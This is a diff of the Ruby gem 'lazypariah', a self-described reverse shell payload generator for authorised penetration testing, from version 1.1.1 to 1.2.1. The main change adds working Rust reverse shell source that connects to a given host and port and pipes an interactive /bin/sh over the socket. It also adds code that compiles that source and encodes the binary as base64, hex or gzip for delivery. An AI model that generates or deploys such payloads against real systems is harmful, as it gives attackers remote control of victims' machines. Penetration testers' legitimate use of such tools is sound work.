lazypariah 1.1.1 → 1.2.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. checksums.yaml +4 -4
  2. data/bin/lazypariah +58 -3
  3. metadata +4 -4
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: f42a0713aca057276625809657d7e0dfee2487d8d8483bdcf2ae0050ac064844
4
- data.tar.gz: a5ad1b2f633e3e5b0e0f7fe045e7a2d15918b0e1d8f22ff7d8e1aaa48b0a2170
3
+ metadata.gz: 58e00a13fa890edbb404bcc96212ff45ba5078c2623074726d97aef8523e9b9f
4
+ data.tar.gz: 9e9bd07d1c92c0eff8e109049693abcccb13d8d6e1b99f1068d99dc486f398f0
5
5
  SHA512:
6
- metadata.gz: fae8cc3f170d58870e617cff64641aa261dabd1107b978452e51e28ac9f00008d5f8ce503ec3864f7bc6dcd7d6dd898f9630b40b84e81fc593e14a27495c0908
7
- data.tar.gz: 7d0954ed3410bd06ea784c05fe55b1bb9fc1d86e1cb2185b8eac6e034dfd3e80601ab778d2ca1a6195ed26701f85737ab9e24a786c37656192ae3ff637bbb084
6
+ metadata.gz: 97ecea89386f9e7686652d9b20815ef13af5acdaa78e3b2a1bc808ac1ca0d9847ed7c922e1977b31e23cbafe923adb187eccc66c86ba6893127096c7a5b3d70b
7
+ data.tar.gz: c76daf729c50520dd7baa98552b2bd369dd14fc12118ad40b86c2504566bb1aad3d5687fb528292f296b9064156ad1d1a4270034b66fa3d38996e2acb88ccce7
data/bin/lazypariah CHANGED
@@ -1,7 +1,7 @@
1
1
  #!/usr/bin/env ruby
2
2
  #
3
3
  # Title: LAZYPARIAH
4
- # Version: 1.1.1
4
+ # Version: 1.2.1
5
5
  # Description:
6
6
  # LAZYPARIAH is a simple tool for generating various reverse shell payloads
7
7
  # on the fly. It is intended to be used only in authorised circumstances by
@@ -29,7 +29,7 @@ require "stringio"
29
29
 
30
30
  # Define constants.
31
31
  PROGRAM_NAME = "LAZYPARIAH".freeze()
32
- PROGRAM_VERSION = "1.1.1".freeze()
32
+ PROGRAM_VERSION = "1.2.1".freeze()
33
33
  EXECUTABLE_NAME = "lazypariah".freeze()
34
34
 
35
35
  # Define payload list.
@@ -64,7 +64,13 @@ PAYLOAD_LIST = [
64
64
  "c_binary_hex",
65
65
  "c_binary_gzip",
66
66
  "c_binary_gzip_b64",
67
- "c_binary_gzip_hex"
67
+ "c_binary_gzip_hex",
68
+ "rust_binary",
69
+ "rust_binary_gzip",
70
+ "rust_binary_b64",
71
+ "rust_binary_gzip_b64",
72
+ "rust_binary_hex",
73
+ "rust_binary_gzip_hex",
68
74
  ].sort()
69
75
 
70
76
  # Define dictionary of payload aliases for backwards compatibility with versions < 1.0.0.
@@ -340,6 +346,55 @@ begin
340
346
  end
341
347
  end
342
348
 
349
+ system("rm -r #{temp_dir}")
350
+ when "rust_binary", "rust_binary_gzip", "rust_binary_b64", "rust_binary_gzip_b64", "rust_binary_hex", "rust_binary_gzip_hex"
351
+ code = "use std::net::TcpStream;use std::os::unix::io::{AsRawFd, FromRawFd};use std::process::{Command, Stdio};fn main() {let lhost: &str = \"#{ARGV[1]}\";let lport: &str = \"#{ARGV[2]}\";let tcp_stream = TcpStream::connect(format!(\"{}:{}\", lhost, lport)).unwrap();let fd = tcp_stream.as_raw_fd();Command::new(\"/bin/sh\").arg(\"-i\").stdin(unsafe {Stdio::from_raw_fd(fd)}).stdout(unsafe {Stdio::from_raw_fd(fd)}).stderr(unsafe {Stdio::from_raw_fd(fd)}).spawn().unwrap().wait().unwrap();}"
352
+
353
+ temp_dir = IO.popen("mktemp -dt lazypariah_XXXXXXXX").read().chomp()
354
+ temp_file = temp_dir+"/rs.rs"
355
+
356
+ system("echo '#{code}' > #{temp_file}; rustc #{temp_file} -o #{temp_dir+"/rs"};")
357
+
358
+ File.open(temp_dir+"/rs", "r") do |f|
359
+ binary_payload = f.read()
360
+ case selected_payload
361
+ when "rust_binary"
362
+ print_output(binary_payload, new_line=false)
363
+ when "rust_binary_b64"
364
+ binary_payload_b64 = Base64.strict_encode64(binary_payload)
365
+ print_output(binary_payload_b64, url_encode=url_encode, new_line=!arguments[:"no-new-line"])
366
+ when "rust_binary_hex"
367
+ binary_payload_hex = binary_payload.unpack("H*")[0]
368
+ print_output(binary_payload_hex, new_line=!arguments[:"no-new-line"])
369
+ when "rust_binary_gzip"
370
+ sio = StringIO.new()
371
+ sio.binmode()
372
+ gz = Zlib::GzipWriter.new(sio)
373
+ gz.write(binary_payload)
374
+ gz.close()
375
+ binary_payload_gzip = sio.string
376
+ print_output(binary_payload_gzip, new_line=false)
377
+ when "rust_binary_gzip_b64"
378
+ sio = StringIO.new()
379
+ sio.binmode()
380
+ gz = Zlib::GzipWriter.new(sio)
381
+ gz.write(binary_payload)
382
+ gz.close()
383
+ binary_payload_gzip = sio.string
384
+ binary_payload_gzip_b64 = Base64.strict_encode64(binary_payload_gzip)
385
+ print_output(binary_payload_gzip_b64, url_encode=url_encode, new_line=!arguments[:"no-new-line"])
386
+ when "rust_binary_gzip_hex"
387
+ sio = StringIO.new()
388
+ sio.binmode()
389
+ gz = Zlib::GzipWriter.new(sio)
390
+ gz.write(binary_payload, new_line=!arguments[:"no-new-line"])
391
+ gz.close()
392
+ binary_payload_gzip = sio.string
393
+ binary_payload_gzip_hex = binary_payload_gzip.unpack("H*")[0]
394
+ print_output(binary_payload_gzip_hex)
395
+ end
396
+ end
397
+
343
398
  system("rm -r #{temp_dir}")
344
399
  end
345
400
  end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: lazypariah
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.1.1
4
+ version: 1.2.1
5
5
  platform: ruby
6
6
  authors:
7
7
  - Peter Funnell
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2021-03-08 00:00:00.000000000 Z
11
+ date: 2021-03-21 00:00:00.000000000 Z
12
12
  dependencies: []
13
13
  description: LAZYPARIAH is a simple tool for generating a range of reverse shell payloads
14
14
  on the fly. It is intended to be used only in authorised circumstances by qualified
@@ -42,8 +42,8 @@ required_rubygems_version: !ruby/object:Gem::Requirement
42
42
  - !ruby/object:Gem::Version
43
43
  version: '0'
44
44
  requirements:
45
- - A GNU/Linux or BSD operating system. Optional requirements are GCC (for C payloads)
46
- and OpenJDK (for Java payloads).
45
+ - A GNU/Linux or BSD operating system. Optional requirements are GCC (for C payloads),
46
+ OpenJDK (for Java payloads) and Rust (for Rust payloads).
47
47
  rubygems_version: 3.2.5
48
48
  signing_key:
49
49
  specification_version: 4